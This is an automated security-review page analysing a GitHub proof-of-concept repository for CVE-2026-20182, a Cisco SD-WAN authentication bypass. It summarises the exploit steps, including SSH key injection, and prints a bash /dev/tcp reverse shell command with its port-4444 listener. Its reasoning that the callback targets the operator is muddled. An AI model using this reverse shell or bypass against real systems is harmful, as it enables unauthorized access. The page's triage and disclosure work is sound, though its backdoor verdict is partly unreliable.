HORKimhab/CVE-2026-20182

GitHubRepository PoCExploit

PoC files

6 files

File viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.

GitHub
AnalysisSuspicious behaviordeepseek-v4-pro:cloud ·

Technical assessment

The artifact contains two distinct Python exploit scripts for CVE-2026-20182, a critical authentication bypass in Cisco Catalyst SD-WAN Controller/Manager. The primary script (cve-2026-20182.py) performs a DTLS handshake, sends a crafted CHALLENGE_ACK with device_type=2 to bypass authentication, and injects an SSH public key for persistent NETCONF/SSH access. A secondary script (cve-2026-20182-poc.py) also attempts the bypass and includes a reverse shell payload.

Backdoor review

Suspicious behavior

The repository contains two distinct PoC scripts for CVE-2026-20182. The first script (cve-2026-20182.py) is a straightforward exploit that injects an SSH key. The second script (cve-2026-20182-poc.py) materially misrepresents its behavior: it claims to be a PoC for the CVE but its primary payload includes a reverse shell that connects back to an attacker-controlled listener, a feature that is not disclosed in the repository's own README or the script's help text. This concealment of a core, operator-targeting function creates a positive concern.

ClassificationExploit
Model confidence100%
AuthenticationNot required
LanguagesPython
Target softwareCisco Catalyst SD-WAN ControllerCisco Catalyst SD-WAN Manager
Attack typesauthentication bypassremote code execution
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The primary artifact is a functional Python script that actively exploits CVE-2026-20182 by performing a DTLS handshake, sending crafted messages to bypass authentication, and injecting an SSH key to gain persistent access. This constitutes exploit code.

CVE-2026-20182-portbuster1337/cve-2026-20182.py:1-244CVE-2026-20182-portbuster1337/README.md:1-3

Requirements

  • Network access to the target's vdaemon service on UDP port 12346CVE-2026-20182-portbuster1337/cve-2026-20182.py:196
  • Python 3.7+ with cryptography library and openssl CLICVE-2026-20182-portbuster1337/README.md:111-113

Observed behavior

  • Establishes a DTLS 1.2 connection to the target's vdaemon service on UDP/12346CVE-2026-20182-portbuster1337/cve-2026-20182.py:79-84
  • Sends a CHALLENGE_ACK message with device_type=2 (vHub) to bypass authenticationCVE-2026-20182-portbuster1337/cve-2026-20182.py:44-47CVE-2026-20182-portbuster1337/cve-2026-20182.py:114-116
  • Sends a HELLO message to transition the peer to UP stateCVE-2026-20182-portbuster1337/cve-2026-20182.py:50-51CVE-2026-20182-portbuster1337/cve-2026-20182.py:144-146
  • Injects an SSH public key into /home/vmanage-admin/.ssh/authorized_keys via MSG_VMANAGE_TO_PEERCVE-2026-20182-portbuster1337/cve-2026-20182.py:54-57CVE-2026-20182-portbuster1337/cve-2026-20182.py:162-164
  • Optionally verifies exploitation by establishing a NETCONF session over SSH on port 830CVE-2026-20182-portbuster1337/cve-2026-20182.py:199-211
  • A secondary script attempts to send an encrypted payload that includes a reverse shell commandcve-2026-20182-poc.py:118-128
Safety-review evidence

Behaviors behind the backdoor verdict

Flagged behaviors

Concealed Behavior
  • The script cve-2026-20182-poc.py includes a reverse shell payload (bash -i >& /dev/tcp/{config.lhost}/{config.lport} 0>&1) that connects back to the operator's machine. This behavior is not mentioned in the repository's README.md, the script's own argparse help text, or the script's initial warning banner, which only describes it as a 'PoC' for the CVE.cve-2026-20182-poc.py:119-124cve-2026-20182-poc.py:139-148README.md:1-97

Observables

Reverse Shell Command
bash -i >& /dev/tcp/{config.lhost}/{config.lport} 0>&1This command is embedded in the payload sent to the target by cve-2026-20182-poc.py. It establishes a reverse shell from the target back to the operator's machine, which is a materially different and more invasive action than the disclosed SSH key injection.cve-2026-20182-poc.py:119-124
Listener
0.0.0.0:4444The script cve-2026-20182-poc.py starts a TCP listener on the operator's machine to receive the reverse shell connection, confirming the payload is intended to target the operator's system.cve-2026-20182-poc.py:71-77cve-2026-20182-poc.py:166-168
Review boundaries

What the analysis did not establish

  • Two files (requirements.txt and an unspecified file) are present in the repository but not included in the evidence text.
  • The secondary script (cve-2026-20182-poc.py) uses an encrypted payload format that differs from the documented protocol and may not function correctly against a real target.
  • The evidence does not include any output or logs confirming successful execution of the exploit.
  • Two files (requirements.txt and a second README) were omitted from the text evidence, but their content is unlikely to alter the finding as the primary scripts are fully reviewed.
  • The review does not assess the validity of the exploit against the target or the correctness of the CVE association.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

Linked vulnerabilities

1